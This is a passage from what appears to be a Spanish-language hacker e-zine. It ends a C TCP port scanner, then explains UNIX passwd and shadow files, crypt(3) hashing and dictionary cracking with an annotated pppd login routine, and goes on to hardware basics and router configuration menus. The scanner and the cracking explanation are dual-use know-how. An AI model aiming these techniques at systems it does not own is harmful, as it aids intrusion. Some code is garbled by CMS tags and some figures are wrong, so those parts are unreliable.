  printf("\n%s [ip] [puerto inicial] [puerto final]\n\n", argv[0]);
    exit(-1);
               }

  pinicial=0;
  pfinal=8000;
  if (argc >=3) pinicial=atoi(argv[2]);
  if (argc >=4) pfinal=atoi(argv[3]);

  printf("\n-==========-[ 3[1;34mE 3[0;39m]-============-");
  printf("\n-[ Puerto ]-[ 3[1;34mS 3[0;39m]-[ Servicio ]-");
  printf("\n-==========-[ 3[1;34mT 3[0;39m]-============-\n");
  for (puerto=pinicial;puerto<=pfinal;puerto++)
  {
    bzero( (char*)&direccion,sizeof(direccion));
    direccion.sin_family=AF_INET;
    direccion.sin_port=htons(puerto);
    Descripcion=getservbyport(htons(puerto), "tcp");
    

    if ((direccion.sin_addr.s_addr=inet_addr(argv[1]))==-1)
      {
     printf("\nLa IP k escribistes es invalida\n\n");   exit(1);
      }
    s=socket(AF_INET,SOCK_STREAM,0);

    if (connect(s,(struct sockaddr*)&direccion,sizeof(direccion))==0)
       {
	printf("     3[1;31m%i     3[0;39m]---[   3[1;32m%s   3[0;39m\n", puerto, (Descripcion==NULL)? "Desconocido":Descripcion->s_name);
       }
    close(s);
    }
}

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

End of File
^^^^^^^^^^^
Eso seria todo, espero que el articulo los oriente un poco mas en lo que es la
ejecucion de comandos para el trabajo en red  con  linux, si  aun  asi  siguen 
teniendo dudas estara disponible mi correo para resivirlas, hasta pronto! bye.

Autor     : EleKtr0
Titulo    : Comandos Basicos en Red con Linux
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 





,ø¤°`´°¤ø¸
-<[ 11 ]>-
`°¤ø,¸,ø¤°

Autor     : z0rbas
Titulo    : Passwords en UNIX
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
Contenido : Los passwords en UNIX se guardan por  lo  general  en  el  fichero
/etc/passwd o si están  shadowed  en  el  fichero /etc/shadow (por lo general,
podría ser tambien por ejemplo /etc/master.passwd).

El fichero  /etc/passwd  es  un  archivo  compuesto  por  líneas, donde  cada 
línea representa un registro, compuesto de siete campos  separados  entre  sí 
por ' : '.

Por ejemplo una línea podría ser así:

Little95:E6r68fgtl13mz:0:0:root:/root:/bin/bash

1º campo('little95'): es el nombre de usuario.

2º campo('E6r68fgtl13mz'): es el password encriptado, donde 'E6',representa la
semilla(como se le llama en criptologia, lo que es una clave en la que se basa
para encriptar el password) y el resto es el password encriptado (todo esto sé
vera un poco mas adelante).

Si en vez de aparecer eso aparece un ' * ' o una ' X ' en todos los campos  de
password del fichero,quiere decir que los password están shadowed. Si al final
del password encriptado hay una ' , ' y dos cifras mas,estas corresponden a la
fecha de expiración del password.

3º campo(' 0 '): es el UID(User ID). UNIX no identifica a los usuarios por  su 
nombre(o nick) sino que por un numero que se almacena en este campo.
Este valor puede variar entre 0 y 60000, por lo general se usan números  entre
100 y 60000 para usuarios normales y el ' 0 '  corresponde  al  super  usuario
(root).

4º campo(' 0 '): es el GID(Group ID). Es la identificación del  grupo  al  que 
pertenece al  usuario.  Tambien  varia  entre  0  y  60000 y el ' 0 '  también 
pertenece al grupo del root y tienen  los  mismos  privilegios  para  aquellos 
elementos que pertenezcan a su dominio.

5º campo(' root '):este es un campo reservado para un comentario o información
extra del usuario, como podría ser por ejemplo el nombre completo o algo así.

6º campo(' /root '): es el directorio home de ese usuario,o sea, su directorio
de trabajo.

7º campo(' /bin/bash '): es la shell (interprete de comandos) que  utiliza  el 
usuario. Estas sirven también para restringir el uso  de  algunos  comandos  a 
algunos usuarios en especial, por ejemplo un usuario anónimo,  por lo  general
tendrá una shell muy restringida que le permitirá ejecutar muy pocos comandos.


Las contrase¤as en UNIX se encriptan usando una función del kernel (núcleo del
sistema), crypt(3). Esta función es un algoritmo  basado  en  el  estándar  de
encriptación  de  datos (DES),  desarrollado  por  el  Instituto  Nacional  de
Estándares y Tecnología(NIST).

En crypt(3) (no crypt(1), que es  la  mas  antigua y mucho  mas  insegura), el 
texto llano se encripta en un grupo de ceros, posteriormente el texto  cifrado
resultante es encriptado de nuevo con el  password  del  usuario  como  clave,
repitiéndose este proceso 25 veces. Una vez finalizado se obtiene un resultado
de 64 bits, los cuales se dividen en 11 caracteres, los cuales se  guardan  en
el archivo /etc/passwd o /etc/shadow (el correspondiente).

El 'grano de sal' o 'semilla' como se  le  denomina  en  criptologia  (los dos 
primeros caracteres del segundo campo en el fichero), los  cuales  representan
un valor de 12 bits, que se utilizan para alterar el resultado de  la función,
lo que hace que un password se pueda variar entre 0 y 4095,  por lo  que  para
cada password hay 4069 formas distintas de encriptación  (mas adelante veremos
un poco mejor la función crypt(3), junto con unos ejemplos).

Por ejemplo el programa /bin/passwd, que se usa pata cambiar la contrase¤a  de
un determinado usuario, calcula la semilla de 12 bits,basándose en la hora del
sistema.

UNIX jamas desencripta  un  password, cuando  el  sistema  nos  pide  login  y 
password, el programa encargado de hacer esto, encripta la  palabra  usando la
semilla presente en el fichero de password y luego lo compara  con el password
encriptado del fichero.

La  manera  que  se  usa  para  descubrir  los  passwords (no desencriptar) es 
encriptar palabras presentes en  un  diccionario  por  ejemplo  y  compararlas 
con el password  del  fichero. Este  método  es  muy  lento  y  puede  incluso 
llegar a ser muy difícil averiguar la clave.

Los  crackeadores  de  password  que  utilizan  este  sistema  son  fácilmente
dise¤ables, incluso se pueden conseguir uno en 35 líneas aprox.  ¿Por  qué  no
desencriptarlos? Porque la  función  crypt(3) es  una  función  muy  fácil  de
ejecutar de ida pero extremadamente difícil de  ejecutar  de  vuelta,  o  sea,
revertirla, lo que todavía no se ha logrado.

El fichero /etc/shadow puede tener una  forma  un  poco  distinta (el  fichero 
/etc/passwd siempre existe y solo varia si esta el password  encriptado ahí  o 
no). La forma seria mas o menos así:


Usuario : pass : ultima vez que cambio pass : días que deben pasar  para poder
cambiar pass : días después de los que debe cambiar pass : días  antes  de  la
expiración de la cuenta en que el usuario  debe  ser  advertido :  día  de  la
expiración de la cuenta : días  que  lleva  deshabilitada  la  cuenta : bloque
reservado

Claro que en la realidad si cave en una línea, como por ejemplo:

z0rbas:E6r68fgtl13mz:9753:0:1000::::

La estructura en c de una línea del fichero shadow seria:

Struct spwd
{
char sp_namp;             /* nombre de usuario */
char sp_pwdp;             /* password encriptado */
sptime sp_lstchg;         /* ultima fecha de cambio */
sptime sp_min;            /* mínimo de días antes del cambio */
sptime sp_max;            /* días a los que debe ser cambiado el password */
sptime sp_warn;           /* días antes de la advertencia de la expiración */
sptime sp_intact;         /* numero de días a los que expira */
sptime sp_expire;         /* días que lleva expirada la cuenta */
unsigned long sp_flag     /* reservado para usos futuros */
}; 


Análisis de crypt(3).

La semilla en la función puede variar entre a-z,A-Z y 0-9 y con la combinación
de estas dos opciones se crean 4096 posibilidades diferentes  de  encriptar un
password.

Lo que este algoritmo hace es tomar los siete  bits  mas  bajos  del  password 
tipiado por el usuario, con lo que se  obtiene  una  clave  de  56 bits.  Esta 
clave de 56 bits, es usada  para  encriptar  repetidamente  una  cadena(string)
constante,la cual por lo general son solo NULLs (lo que en C corresponde a '{jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}')

El retorno de la función,apunta a una cadena de 13 caracteres ASCII imprimible
(incluida la semilla). El retorno apunta a una variable estática, la  cual  es
sobrescrita en cada llamada.

El espacio de la clave consiste en 5**56(7,2*10**16) posibles valores, lo  que 
hace demasiado difícil de encontrar la combinación.



Ejemplos

Un ejemplo de programa de login seria por ejemplo el que  usa el  pppd- 1.2.1d
(Point-to-Point Protocol Server).

----------------- inicio  auth.c(traducido) -------------------

/* este programa chequea un usuario y password, basado en el fichero de 
password(/etc/passwd) para la autentificación, también chequea si el 
usuario es valido. 
Retornos de la función:
UPAP_AUTHNAK : logeo fallido.
UPAP_AUTHACK : logeo exitoso.
En algunos casos la variable msg apunta a un mensaje en especial. 
(Traducido por z0rbas)  */

Static int login(usuario, passwd, msg, largomsg)
        	Char *usuario;
       	Char *passwd;
        	Char **msg;
 	Int *largomsg;            // definición de los argumentos de la función.
{
	struct passwd *pw;  // define puntero a la estructura del registro
	char *epasswd;        // puntero a lo que será la pass encriptada
	char *tty;                   // puntero a la terminal que se logeara
	
	if((pw=getpwnam(usuario))==NULL) return(UPAP_AUTHNAK); 

/* se asigna el valor a la estructura apuntada por pw, con el valor del 
registro del usuario correspondiente, usando la función getpwnam() y se 
compara al tiro con NULL, si es verdadero, quiere decir que el usuario no se 
encontró y el login se rechaza. */


	if(pw->pw_passwd == '{jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}') return(UPAP_AUTHACK); 

/* se compara el campo de password con NULL, si es verdadero, no hay 
password en el campo y el logeo es aceptado, no se necesita revisar el 
password */


	epasswd = crypt(passwd, pw->pw_passwd); 

/* encripta el password con la semilla del password original. */


	if(strcmp(epasswd, pw->pw_passwd)) return(UPAP_AUTHNAK);

/* si son distintos los dos string( epasswd, el password encriptado(instrucción 
pasada) y el password original del fichero se rechaza el login, si a estas 
alturas aun no se ha rechazado, el sistema reconoce el password como 
correcto */


	 syslog(LOG_INFO, "user %s logged in", usuario);

/* logea la entrada del usuario en la constante definida por LOG_INFO */


	tty = strrchr(devname,'/');
	if(tty==NULL) tty=devname;
		else tty++;
	logwtmp(tty,usuario,"");
	logged_in=TRUE;
	return(UPAP_AUTHACK);

/* calcula la terminal de logeo y crea un log, luego retorna la función 
diciendo que el logeo ha sido exitoso */
}

-------------------- fin auth.c ------------------------

Este programa no soporta password shadowed, pero es fácilmente 
modificable para que lo haga, como ya viene escrito en el pppd-2.2.0.


-------------------inicio auth.c(actualizado)---------------------------

/* este programa chequea un usuario y password, basado en el fichero de 
password(/etc/passwd) y soporta shadowed también para la autentificación,
también chequea si el usuario es valido. 
Retornos de la función:
UPAP_AUTHNAK : logeo fallido.
UPAP_AUTHACK : logeo exitoso.
En algunos casos la variable msg apunta a un mensaje en especial. 
(También traducido por z0rbas)   */


#ifdef HAS_SHADOW
#include 
#include 
#endif


Static int login(usuario, passwd, msg, largomsg)
        	Char *usuario;
       	Char *passwd;
        	Char **msg;
 	Int *largomsg;            // definición de los argumentos de la función.
{
	struct passwd *pw;  // define puntero a la estructura del registro
	char *epasswd;        // puntero a lo que será la pass encriptada
	char *tty;                   // puntero a la terminal que se logeara
	
#ifdef USE_SHADOW
struct spwd *spwd;
struct spwd *getspnam();
#endif


	if((pw=getpwnam(usuario))==NULL) return(UPAP_AUTHNAK); 

/* se asigna el valor a la estructura apuntada por pw, con el valor del 
registro del usuario correspondiente, usando la función getpwnam() y se 
compara al tiro con NULL, si es verdadero, quiere decir que el usuario no se 
encontró y el login se rechaza. */


#ifdef USE_SHADOW
spwd = getspnam(usuario);
if(spwd) pw->pw_passwd = spwd->sp_pwdp;
#endif

	if(pw->pw_passwd == '{jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}') return(UPAP_AUTHNAK); 

/* se compara el campo de password con NULL, si es verdadero, no hay 
password en el campo y el logeo es rechazado ahora por problemas de 
seguridad(en el archivo original, esto NO viene corregido) */


#ifdef HAS_SHADOW
if((pw->pw_passwd && pw->pw_passwd[0] == '@' && pw_auth(pw-> 
pw_passwd+1, pw->pw_name, PW_LOGIN, NULL)) || ?valid(passwd,pw)) {
return(UPAP_AUTHNAK);
}
#else
	epasswd = crypt(passwd, pw->pw_passwd); 

/* encripta el password con la semilla del password original. */


	if(strcmp(epasswd, pw->pw_passwd)) return(UPAP_AUTHNAK);

/* si son distintos los dos string( epasswd, el password encriptado(instrucción 
pasada) y el password original del fichero se rechaza el login, si a estas 
alturas aun no se ha rechazado, el sistema reconoce el password como 
correcto */
#endif

	 syslog(LOG_INFO, "user %s logged in", usuario);

/* logea la entrada del usuario en la constante definida por LOG_INFO */


	tty = strrchr(devname,'/');
	if(tty==NULL) tty=devname;
		else tty++;
	logwtmp(tty,usuario,"");
	logged_in=TRUE;
	return(UPAP_AUTHACK);

/* calcula la terminal de logeo y crea un log, luego retorna la función 
diciendo que el logeo ha sido exitoso */
}

---------------------fin auth.c(corregido)-------------------------

En este archivo se corrigió el que se aceptara el logeo  sin  password, porque
sino seria muy fácil  para  usuarios  conseguir  una  shell  por  el  servidor 
de ppp. Para compilar este archivo se necesita editar  el  archivo  'Makefile' 
de la siguiente manera(agregar):
LIBS = -lshadow
Y se modifica la línea que dice:
COMPILE_FLAGS = -I.. -D_linux_=1 -DGIDSET_TYPE=gid_t
Por:
COMPILE_FLAGS = -I.. -D_linux_=1 -DGIDSET_TYPE=gid_t -DUSE_SHADOW

Toda la información contenida en  este  texto  esta  escrita  solo  con  fines 
educativos, el mal uso de esta es completa responsabilidad del lector.

Autor     : z0rbas
Titulo    : Passwords en UNIX
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 





,ø¤°`´°¤ø¸
-<[ 12 ]>-
`°¤ø,¸,ø¤°

Autor     : Kraptor
Titulo    : Estudio y Analisis de un Computador
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
Contenido : Muchos de nosotros encontramos cierta adicion y aficion a sentarse
frente al computador, pero en realidad ¿ sabemos como  es  que  funciona ?; al
parecer es un misterio o una zona prohibida,  entender la  organizacion  y  el
funcionamiento, pero resulta que no es tan asi.

Es por eso que he querido comenzar a presentar y a introducirnos en lo que son
los computadores, partiendo quizas de  lo  mas  basico  a  algunas  cosas  mas
complejas.

No he querido analizar lo que son los aspectos mas globales de un  compurtador
tales como el  teclados. mouse etc... no valdria la pena.

Bueno ahi nos vamos con esta primera  parte  de  este  tema  que  resulta  ser
bastante interesante.


ESTRUCTURA INTERNA DE UN COMPUTADOR.

En general el computador, como toda maquina,  debe disponer de una  estructura
interna para su funcionamiento. 

Cada vez que presionamos el boton de arranque de nuestro tarro, se  inicia  la
operacion de autodiagnostico y puesta en marcha (bootstrap). Solo  cuando esta
concluido se transfiere el control de la computadora al sistema  operativo  (y
pensar que hay algunos que le pasan  este  control a microsoft )  y  se  puede
iniciar alguno de los programas de aplicacion, cuyas instrucciones empezarán a
ser ejecutadas secuencialmente, es decir, una tras otra. La unidad central  de
procesos (CPU) gobierna  el  computador  y  es  la  encargada  de dirigir  los
diferentes elementos a traves de los buses o canales de informacion.
La memoria es la zona donde se almacenan temporalmente la informacion entrante
y la elaborada a partir de ella. Para extraer la  informacion  se  dispone  de
circuitos de entrada y salida, que se encargan del  dialogo  entre  la  unidad
central y los perifericos.
 
Si analizamos lo que ocurrio en nuestro tarro desde que apretamos el boton  de
arranque o power, diferenciamos cuatro bloques:

- Puesta en marcha.
- Unidad central de procesos
- Unidad de memoria.
- Controladores
- Interfaces de entrada/salida.

Aer que pasa con cada uno de ellos. (La puesta en marcha la  dejare  para  mas
adelante porque pa explicarla se necesitan ciertos conceptos que a lo mejor no
manejas).

UNIDAD CENTRAL DE PROCESOS(CPU).

Esta formada por circuitos electronicos capaces de  desarrollar  funciones  de
control y calculo aritmetico y logico. Todos estos circuitos se hallan siempre
integrados en un solo  microprocesador  o  un  microcomputador, segun  sea  la
estructura interna.

     BUSES.
	
La CPU se comunica con todas las posiciones de memoria y todos los perifericos
de la computadora atraves de vias o canales formados por grupos de conductores
llamados buses.

Los buses mas comunes en las computadoras son:

    Bus de datos (Data bus): En el viajan los datos de una parte  a  otra  del
    tarro. En este bus los datos pueden ser de entrada o salida con respecto a
    la CPU, memoria y controladores de entrada/salida.

    Bus de direcciones (Address bus): Tiene  la  funcion  de  seleccionar  las
    distintas partes del computador.La CPU puede seleccionar mediante este bus
    una dirección de la memoria para posteriormente leer los datos k contiene.
    Con respecto a la cpu siempre es un bus de salida.

    Bus de control (Control Bus): En este bus viajan las se¤ales de control de 
    todo el sistema. Con respecto a la CPU, este bus puede ser de entrada o de
    salida, puesto que la CPU, ademas de controlar las unidades perifericas  a
    la misma, puede recibir  informacion  sobre  cual  es  el  estado  de  una
    determinada unidad.
				  

Otra forma de comunicacion entre la CPU  y  los  perifericos  es  mediante  el 
multiplexor (que???), que permite que dos o mas perifericos se comuniquen  con
la CPU por el mismo canal y al mismo tiempo (parece chavo del ocho la cuestion)

 Ahora si bien sabemos cuales son los buses, ahora debemos entender como es el
direcionamiento o seleccion de los bloques que viajan en por lo buses.

Todos  los  bloques  de  que  se  compone  un  computador  pueden  comunicarse
independientemente con la CPU, a traves del mismo bus  de  direcciones.  Estos
bloques permanecen <>, es decir, inhabilitados, hasta que la CPU  le
ordena a uno de ellos que <>, es decir que lo habilita.  Para ello,
la CPU los direciona precisamente mediante el bus de direcciones.

Cada uno de los bloques que componen un  computador, a  excepcion  de  la CPU,
tiene una direccion asignada. Esta direccion obviamente es diferente para cada
una de las unidades.

Cuando la CPU desea dialogar con  una  unidad, coloca  en  el address  bus, la
direccion que corresponde a la unidad, mas el bus de direcciones llega siempre
a todas las unidades. Cada vez que la CPU ponga una direccion en el  bus  esta
sera captada y  controlada por  todas   las  unidades  direccionables  por  el
computador, pero solo hara una unidad que,al coincidir su direccion con la que
viaja por el bus, sea la que establezca el dialogo con la CPU (Es como  si  el
tuviera un mensaje que entregar y se lo cuenta a todos, pero solo  se  pone  a
dialogar con el de la direccion correcta)

Si la CPU pone en su bus de las direcciones de 8 bits el valor 2E (hexadecimal)
o binario (00101110=, tan solo se habilitara la unidad cuya direccion es 2E.En
este momento, la CPU podra enviarle datos  o  pedir  informacion.  Este  es el
proceso que se conoce como direccionamiento o seleccion (si  no  cachai  lo de
hexadecimal o binario, hechale un vistazo a la parte de  Numeracion  Decimal y
binaria).


UNIDADES DE MEMORIA.

Como todos deben imaginar, si es que la  tele  aun  no  les  carcome  toda  su
imaginacion, las memorias son elementos capaces de almacenar informacion.  Las
memorias del computador  estan  divididas  en  celdas. Cada  celda  tiene  una
direccion especifica. Las memorias  normalmente  estan  organizadas  como  una 
matriz, en la que hay filas y columnas. Cada celda puede ser direccionada  por
la CPU y esta compuesta de otras ocho  celdas  elementales, cada  una  de  las
cuales puede tomar un valor de 0 o 1.De esta forma,en cada celda direccionable
podemos guardar 1 byte de informacion. (Recordemos que 1 byte son 8 bits).

     CAPACIDAD.
     
     La capacidad de una memoria se define como el numero maximo de bytes  que
     podemos guardar en ella. Depende directamente del numero de celdas  y  el
     numero de bits que tenga esta.

     Aer, pa que se entienda : Si tenemos una memoria de 8 columnas por cuatro
     filas (matrices), entonces dispondremos de 32  celdas. Si  suponemos  que
     cada celda puede memorizar 8 bits, en total tendremos  una  capacidad  de
     32 x 8 = 256 bits. Comunmente no sale asi, sino  que  en  bytes.  En este
     ejemplo la capacidad sera de 32 bytes.

     GRABACION/LECTURA.

     Cuando se ha direccionado una posicion de memoria, la CPU puede  efectuar
     una lectura o una grabacion de datos.
     Una vez direccionada una  posicion  para  una  operacion  de  lectura, la
     memoria toma el contenido de la celda direccionada  y  lo  coloca  en  su
     salida unida al bus de datos.

Si es una operacion de grabacion, el  dato  que  ha  de  grabarse  debe  estar
disponible en el bus de datos (que es entrada y salida), a la  entrada  de  la
memoria,de donde esta ultima lo toma para depositarlo en la celda direccionada.

   CLASIFICACION DE LAS MEMORIAS.

   Las memorias se pueden clasificar segun diversos criterios, ya sea  por  su
funcion o por el modo de funcionamiento.

Nos remitiremos a la funcion que tienen en el computador, ya que es  la manera 
estandar que se tiene.

Asi es como encontramos:

    MEMORIAS CENTRALES: Son dispositivos que sirven para almacenar los
    programas que se quieren ejecuta, así como los datos, los calculos
    intermedios y los resultados; todos  ellos  son  accesibles  a  la
    Unidad de control y a la unidad  aritmeticologica. Tambien  se  le
    conoce a la memoria central como memoria principal  de  trabajo  o
    interna.

	     TIPOS DE MEMORIAS CENTRALES:

	     Las memorias de circuitos integrados son las utilizadas actualmente.
           Son rapidas y de acceso directo. Las mas importantes son:
		 
		 Memoria RAM : (Random access memory), aqui se puede grabar y leer
             datos. Es una memoria de tipo volatil, cuyo contenido se borra al
             cortarse el suministro de energia.
             
             A su vez encontramos que se distinguen diferentes tipos de la RAM
             dependiendo de la posicion que ocupan en el mapa de memoria.  Así
             encontramos la memoria superior, la expandida, la extendida y  la
             alta.

		 La memoria convencional de un tarro, que comprende de 0 a  1024K,
             es aquella en donde  se  se  ejecutan  todos  los  programas  del
             sistema operativo.
 
		 La memoria  superior, por su  parte, es  la  zona  de  la  emoria
             convencional comprendida entre 640K  y  1024K.  Los  384K  de  la
             memoria superior se emplean para almacenar  rutinas  basicas  del
             sistema informatico, como son aquellas  que  controlan  el  tarro 
             desde el momento en que se  enciende, o  las  que  afectan  a  la
             entrada y salida de  datos o  a  la  memoria  video  (que permite 
             almacenar los caracteres que se visualizan en  el  monitor  y  la
             informacion numerica que indica  como  debe  aparecer, es  decir:
             colores de caracter y del fondo  en que  aparece,  intensidad  de
             color,etc).

		 La memoria expandida o memoria EMS,es una tecnica que permite que
             el sistema operativo trabaje con una memoria superior a los 1024K
             de la memoria convencional. 

		 La memoria extendida es una memoria propia  de  los  computadores
             x86, y que es superior  a  la  convencional, es  decir sobre  los
             1024K, solo se alcanza con aplicaciones como windows, no con DOS.
             Obviamente los sistemas UNIX si las alcanzan.

             Finalmente la  memoria  alta, es aquella  comprendida  entre  los
             1024K y los 1088Ky , al  igual  que  la  memoria  extendida  solo 
             trabaja en pc de la gama x86.

 
		 Memoria ROM : (Read Only Memory),estas son de solo lectura. No es
             posible grabar ningun dato en estas memorias;se trata de memorias
             no volatiles,cuyo contenido se graba durante su construccion y no
             se puede cambiar. 

		 Memorias PROM : Tal como su  nombre  lo  indica, programable ROM,
             estas  memorias  son  programables.  Se   entregan   virgenes  al
             programador y este se encarga de violarlas...


		 Memorias EPROM : Erasable PROM.Se trata de una PROM que puede ser
             borrada mediante rayos ultravioletas.

		 Memorias RPROM : Reprogrammable ROM, esta se pueden borrar y  ser
             reprogramadas.
 


	MEMORIAS DE ALMACENAMIENTO MASIVO: Son  memorias  de  almacenamiento  de
      datos que no permiten el acceso inmediato del programa a ellos; para que
      esto suceda es necesario un paso previo, consistente en la lectura de la
      informacion deseada y su colocacion en la memoria central de la maquina.
      A esta memoria se le conoce tambien como memoria secundaria o externa.



CONTROLADORES:

 Los controladores son circuitos integrados que forman parte de las estructura
hardware del tarro. Son circuitos que ayudan a la CPU a desarrollar y agilizar
su labor. 

Podemos clasificar los controladores de la siguiente manera.



				- Controlador interfaz serie/paralelo     
				- Controladores de unidades de disquete  
				  o de disco duro.
	 Unidades perifericas   - Controladores de pantalla.
	|			- Controladores de teclado.
	|			- Controladores de comunicaciones.
Controlador
	|
	|			
	Unidades internas.	- Controlador de acceso a la memoria.
				- Controladores de interrupciones en la CPU.

Hagamos una breve mirada a ciertos controladores, que son mas importantes.


	Controlador de acceso a la memoria (DMA controller).
		    
		    Con la ayuda de este controlador la CPU, se  descarga  de  sus
funciones de control, mientras hay  un  intercambio  de  informacion  entre la 
unidad de memoria interna, sea RAM o ROM, y una unidad externa o periferica.

Este controlador puede considerarse como un ayudante de la unidad central. Así
mientras el controlador de acceso a la memoria cumple el cometido asignado, la
CPU puede efectuar otro proceso dentro de la tarea que le ha sido encomendada.

	Controlador de interrupciones.

		    En todo proceso de elaboracion de datos intervienen  distintas 
unidades internas o externas a la computadora. Cada una de estas  unidades  es
gestionada por un controlador particular.

Si una de estas unidades desea enviar  un  mensaje  a  la  unidad  central  de
proceso de datos, para indicar que necesita mas datos, recorrera el camino que
se indica seguidamente:

			 1.- Envia una peticion a la CPU.

			 2.- La CPU recibe la peticion, interrumpe  el  trabajo  que
                       esta realizando y le envia una se¤al de  aceptacion  de
                       la peticion.

			 3.- La unidad periferica a  traves  de  su  controlador, al
                       recibir la aceptacion, inicia el dialogo con la  unidad 
                       central.

			 4.- Terminado el intercambio de informacion entre la unidad
                       externa y  la  unidad  central, la  CPU  sigue  con  el
                       programa donde quedo interrumpido.

		El controlador de interrupciones se situa en el punto  primero  de
este proceso. Recibe las peticiones de interrupcion, enviadas por las unidades
perifericas, establece un orden de prioridad y  envia  una  interrupcion  a la
unidad central.


INTERFACES Y CIRCUITOS DE ENTRAA/SALIDA.

	  Los puertos o interfaces de entrada/salida,se utilizan para establecer
la comunicacion entre la unidad central de procesos de datos (CPU) y el  mundo
externo.

Estos puertos en funcion de su utilidad  se  pueden  dividir  en  dos  grandes
bloques:
      - Interfaz o puerto serie.
      - Interfaz o puerto paralelo.

Aunque creo que todos saben que  funcion  tienen  estos  puertos,  daremos  un
peque¤o vistazo, pa aquellos que son mas volados.

Interfaz serie : Significa que los bits de informacion viajan uno  despues del
otro y por el mismo cable de conexion. Este tipo de puerto es menos costos que
el puerto paralelo pero en  contraposicion  es  mas  lento  y  se  utiliza  en
comunicacines a larga distancia (pa los modems, y obvio pal mouse) .

Interfaz paralelo: Significa  que   todos  los  bits   de  informacion  viajan
simultaneamente al periferico. En este puerto, a cada pulso de reloj  se envia
un byte al periferico. Este tipo de  puerto  se  utiliza en  comunicaciones  a
corta distancia, como puede ser de la computadora a  la  impresora,  o  de  la
computadora a una unidad zip, etc.


Y bien lo que les debia : PUESTA EN MARCHA (BOOTSTRAP) 

      Tambien se conoce a esta rutina de prueba como POST (Power On Self Test) 
      Nuestro Tarro, dispone  de unos  peque¤os  programas  dispuestos  en  en
      memoria no volatil y de acceso solo en lectura (ROM) para el  control  y
      preparacion de los componentes del tarro

Estos programas son utilizados pa los siguientes fines:

      - Como preparacion de la CPU y de  los  controladores  presentes  en  la
        computadora. Por ejemplo el controladores de las unidades de  disketes,
        controladores   interfaz  serie   y  paralelo,   controlador   de  las
        interrupciones, etc.

      - Como  diagnostico  de  la  CPU  y  de  los  controladore. Ademas  este
        diagnostico comprueba toda la memoria del computador, que luego  habra
        de recibir los datos y los programas.

      - Control de ciertos perifericos que se consideran comunmente  parte  de
        la estructura del computador, teclados, y pantalla.


Ahora bien, si tenemos un computador << muerto >>, y no sabemos que es lo  que
esta fallando, al iniciar la puesta en marcha quizas no nos indique que  es lo
ques esta fallando. Para ello, existe una herramienta que nos ahorraria  mucho
tiempo. Es una tarjeta lectora  del  codigo POST ( Rutina  de  autodiagnostico
despues de aplicar potencia), la cual tiene una rutina  que forma  parte de un
programaque   contiene  la  memoria  ROM, llamada  BIOS ( Rutina   basica   de
entrada/salida).

Bueno, en fin hasta aqui llego con el temita, que al  fin  y  al  cabo  se  me 
anduvo alargando, ya pal proximo numero creo  que estaría tirando  lo que son:
la placa base o  madre, las  ranuras  de  ampliacion, las  interrupciones, los
accesos directos a la memoria, y algo breve de  las  comunicaciones.  Ahhh!  y
si resulta de interes tiro la tarjeta POST pa los que quieren  resucitar  esos
tarros viejos que tienen por ahi en la casa...

Cualquier duda o reclamo, mandala a mi e-mail  no mas, desde  ahi  tratare  de
ayudarte.

Autor     : Kraptor
Titulo    : Estudio y Analisis de un Computador
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 





,ø¤°`´°¤ø¸
-<[ 13 ]>-
`°¤ø,¸,ø¤°

Autor     : ViC3nT
Titulo    : Routers (ReFerencia Basica)
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
Comentario: Aca ViC3nT  de  nuevo  metiendo  las  narices, ahora  veremos  una 
Referencia basica de un router

Contenido : Para comenzar explicaremos que es un router.

Un router es un equipo de comunicacion el  cual es  utilizado  para  rutear, o
buscar las rutas expeditas de un punto a otro, se pueden definir  rutas  o  el
mismo router  se  encarga  de  buscarlas segun  los  parametros  dados  en  la
configuracion, el router puede actuar como un firewall,  filtrando  todas  los
paquetes que llegan a el, o los paquetes indicados en su configuracion.

Existen Routers para empresas pequen~as,comunmente son routers ISDN o del tipo
DSL y dan enlace a toda la red de la empresa a la que esta conectada y  a  una
velocidad determinada por el proveedor del router.

Otros   se   utilizan   para   traficos  gigantescos   de  enlaces,  y  tienen
caracteristicas mas avanzadas que los routers mas pequen~os,como transductores
consola de administracion.  Estos  los  utilizan los ISP para comunicar varias
redes de su host o para recibir el enlace de sus proveedores de enlace,  si es
que tienen.

Comenzaremos con la consola de un router, recordemos que es un manual  basico,
y solo indica cuales son las variables y en ningun caso  ensen~a como  hacerlo
funcionar solo es para tener una idea.

1.-General Setup.
Aca configuramos el nombre del  router  y  a  quien  pertenece, mas  que  nada 
informacion que no sirve.

2.-Dial Up Setup
Recordems que un router para empresas se conecta a Internet por una ISDN o por
DSL, asi que tiene que hacer una conexion del tipo ppp, aca  se  configura  el
numero de telefono al cual se conecta el router y el tipo de conexion.

3.-Ethernet Setup
Comunmente aqui va la configuracion TCP/IP del router, aca indicamos si  va  a
recibir su direccion de un servidor DHCP o  vamos  a  indicarla  nosotros,  se
configura la mascara de la red y todo lo que tenga que ver con las direcciones.

4.-Internet Setup
Aca SE Configura el Username y Password en caso de que la conexion se haga con 
un username o ua password, el tipo de conexion y la velocidad.

5.- Remote Node
Aca se define el nodo remoto, o sea donde llega el router al conectarse.

6.- Static Route
Se Define una ruta estatica si se desea, si no, dejamos en blanco,el router se
encarga de hacerlo.

7.-Nat Setup
ACa activamos si queremos hacer NAT  con  la  red, es  conveniente, pero  poco
practico.

8.-Filter Configuracion
Aca  filtramos,  se  pueden   filtrar  puertos  especificos,  o  sea  que  los
requerimientos a puertos los deseche o los reenvie a un PC  especifico  de  la
red, esto es util si es que  tenemos  una  red  con  ips  privadas  y  tenemos
servidor web, mail o lo que sea, entonces le decimos al filtro,  si  llega  un
requerimiento al puerto 80, envialo a este equipo..
fig 1.1


INTERNET----------------ROUTER===requerimiento puerto 110======== 10.0.0.0/MAIL
			  |			
			requerimiento
			puerto 80
			  |
			  |
			10.0.0.1/WEB


9.- SNMP Setup
